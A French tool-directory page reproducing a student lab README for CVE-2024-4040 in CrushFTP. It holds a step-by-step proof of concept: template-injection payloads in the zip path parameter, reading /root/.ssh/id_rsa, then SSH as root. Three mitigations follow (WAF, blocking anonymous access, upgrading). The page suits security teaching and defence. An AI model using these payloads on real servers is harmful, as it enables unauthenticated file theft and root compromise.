Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — Exploit de preuve de concept pour CVE-2024-4040, démontrant SSTI non authentifié et lecture de fichier local dans CrushFTP, avec laboratoire Docker et stratégies d'atténuation. | Kitploit
Outils/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

Exploit de preuve de concept pour CVE-2024-4040, démontrant SSTI non authentifié et lecture de fichier local dans CrushFTP, avec laboratoire Docker et stratégies d'atténuation.

Voir le dépôt
5il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-4040 Vulnérabilité — Preuve de concept SSTI / LFI dans CrushFTP

À usage éducatif et uniquement en laboratoire autorisé.
Pour le module CS443 Génie Logiciel et Sécurité des Systèmes. Le laboratoire a été réalisé dans un environnement Docker local contrôlé.


Résumé de la vulnérabilité

ChampDétail
CVECVE-2024-4040
Logiciel concernéCrushFTP < 10.7.1 (branche v10) / < 11.1.0 (branche v11)
Type de vulnérabilitéInjection de modèle côté serveur (SSTI) → Lecture de fichiers non authentifiée
Score CVSS9.8 Critique
ImpactDes attaquants non authentifiés peuvent lire des fichiers arbitraires sur le système de fichiers du serveur

Le WebInterface de CrushFTP évalue des expressions de modèle dans le paramètre path de la commande zip sans les assainir. Un attaquant non authentifié peut obtenir des cookies de session anonymes, puis utiliser ces cookies pour transmettre des charges utiles de modèle ({working_dir}, <INCLUDE>…</INCLUDE>) que le serveur évalue et renvoie — permettant une lecture arbitraire de fichiers sur l'hôte.


Environnement de laboratoire

ComposantValeur
Ciblehttp://localhost:8080
Version de base PoC CrushFTP10.3.0 (intentionnellement vulnérable)
Environnement de test Mitigation 3Conteneur séparé exécutant CrushFTP 11.x (branche corrigée)
Port SSH (conteneur)2222 → 22
Identifiants administrateuradmin / admin
Environnement d'exécution du conteneurDocker (Compose)

Prérequis

root@kitploit:~
pip install requests rich

Scripts

ScriptSourceObjectif
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCExploit SSTI/LFI complet — vol de session, lecture de fichiers arbitraire
recon.pyCe dépôtDétection de version, sondage SSTI en direct, confirmation de vulnérabilité

Procédure pas à pas de la preuve de concept

Étape 1 — Démarrer le laboratoire

root@kitploit:~
docker-compose up -d

Attendez environ 10 secondes que CrushFTP soit complètement initialisé avant d'exécuter les scripts. Aucune étape de reconnaissance séparée n'est nécessaire ici car crushed.py vérifie déjà si l'exploitation est possible pendant son exécution.


Étape 2 — Voler la clé privée SSH via LFI

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Le script va :

  1. Obtenir une session anonyme CrushAuth / currentAuth depuis /WebInterface/
  2. Utiliser SSTI pour confirmer l'évaluation du modèle et divulguer le nom d'hôte du serveur
  3. Utiliser {working_dir} pour résoudre le répertoire d'installation de CrushFTP
  4. Utiliser <INCLUDE>/root/.ssh/id_rsa</INCLUDE> pour lire le fichier cible
  5. Afficher le contenu brut du fichier sur la sortie standard

Copiez le bloc de clé privée depuis la sortie (tout depuis -----BEGIN OPENSSH PRIVATE KEY----- jusqu'à -----END OPENSSH PRIVATE KEY-----).


Étape 3 — Sauvegarder la clé volée

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<collez la clé depuis la sortie>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Étape 4 — SSH dans le conteneur en tant que root

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Étape 5 — Confirmer l'accès root

root@kitploit:~
whoami
# Attendu : root

id
# Attendu : uid=0(root) gid=0(root) groups=0(root)

hostname
# Attendu : <container_id>

Schéma de la chaîne d'attaque

root@kitploit:~
Attaquant non authentifié
        │
        ▼
GET /WebInterface/          ← obtient les cookies anonymes CrushAuth + currentAuth
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmée — modèle évalué par le serveur
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← divulgue le chemin d'installation absolu
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← lecture de fichier arbitraire
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← shell root complet

Problèmes connus majeurs dans crushed.py

ProblèmeEmplacementDétails
Dépendance manquanteLignes 6–9Nécessite pip install rich avant exécution
Analyse XML fragileLignes 86, 140Plante sur des réponses serveur non XML ; pas de gestion ParseError
Expression régulière du jeton trop stricteLignes 160–161Le motif CrushAuth=… ; currentAuth=… peut ne pas correspondre à tous les formats sessions.obj
HTTP 404 uniquementLigne 53La récupération de cookie ne réussit que sur 404 ; échoue silencieusement sur d'autres codes d'état

Stratégies d'atténuation

Atténuation 1 — Pare-feu applicatif Web (NGINX + ModSecurity)

Vue d'ensemble

Un WAF agit comme un proxy inverse qui inspecte le trafic HTTP/S entrant avant qu'il n'atteigne CrushFTP. En utilisant NGINX avec ModSecurity, les requêtes malveillantes exploitant CVE-2024-4040 sont bloquées en périphérie réseau sans modifier CrushFTP lui-même.

Comment cela atténue CVE-2024-4040

  • Bloque les motifs de traversée de chemin (par exemple ../, %2e%2e) dans les URI et les cookies
  • Empêche les requêtes d'évasion VFS non authentifiées d'atteindre CrushFTP
  • Enregistre et refuse les charges utiles suspectes avant qu'elles n'atteignent l'application

Configuration Docker

Utilisez Mitigation 1/docker-compose.yaml :

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configuration NGINX

Utilisez Mitigation 1/nginx.conf :

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Activer ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy tout le trafic vers CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Retourner 403 pour les requêtes bloquées
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Flux de trafic

root@kitploit:~
Attaquant -> NGINX WAF (port 80) -> bloque les malveillants -> 403 Interdit
                             -> transmet les propres -> CrushFTP:8080

Limitations

  • Ne corrige pas la cause racine – CrushFTP reste vulnérable si le WAF est contourné
  • Nécessite des mises à jour des règles au fur et à mesure que les attaquants développent des techniques d'obscurcissement

Atténuation 2 — Désactiver l'accès utilisateur anonyme

Vue d'ensemble

CVE-2024-4040 est exploitable sans authentification. Dans ce laboratoire, l'accès de type anonyme est bloqué au niveau NGINX en exigeant un en-tête Authorization avant de proxyer les routes sensibles vers CrushFTP.

Comment cela atténue CVE-2024-4040

  • Les scripts d'exploitation comme crushed.py reposent sur un accès non authentifié ; les requêtes sans identifiants sont rejetées avec 401
  • Les requêtes vers /WebInterface/ et / sont refusées à moins que des données d'authentification ne soient présentes
  • Réduit l'exposition des points d'accès vulnérables aux utilisateurs non authentifiés

Configuration Docker (Exacte depuis Mitigation 2/docker-compose.yaml)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Politique NGINX (Exacte depuis Mitigation 2/nginx.conf)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Autoriser les ressources statiques sans authentification
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Bloquer l'accès non authentifié à WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Bloquer tout le reste sans authentification
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Vérifier via Docker

root@kitploit:~
# Confirmer que la requête non authentifiée est rejetée par NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Attendu : 401 Unauthorized

# Optionnel : la requête authentifiée doit être transmise
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

Limitations

  • Ne corrige pas la vulnérabilité sous-jacente ; les utilisateurs authentifiés peuvent toujours être à risque si la logique d'exploitation est adaptée
  • L'application dépend du placement du proxy et d'une gestion correcte des en-têtes devant CrushFTP

Atténuation 3 — Mettre à jour vers CrushFTP version 11

Vue d'ensemble

La mise à niveau vers CrushFTP 11 est le correctif le plus efficace et permanent. Le correctif ajoute une validation stricte des entrées lors de la résolution des chemins VFS, éliminant la cause racine de CVE-2024-4040.

Comment cela atténue CVE-2024-4040

  • Applique un sandboxing strict des chemins VFS – les tentatives d'évasion sont rejetées au niveau de l'application
  • Les scripts d'exploitation comme crushed.py ne fonctionnent plus contre la version 11
  • Le correctif est appliqué au niveau du code source, non masqué par des contrôles externes

Implémentation

Mettez à jour votre Dockerfile pour utiliser CrushFTP 11 :

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

Reconstruisez le conteneur :

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

Vérifier que le correctif fonctionne

root@kitploit:~
# Exécuter l'exploit contre la v11 – doit échouer
# Note : le script de ce dépôt utilise -t/--target.
python3 crushed.py -t http://localhost:8080

# Attendu : l'exploit ne retourne aucune sortie ou une erreur de connexion
Télécharger l’outil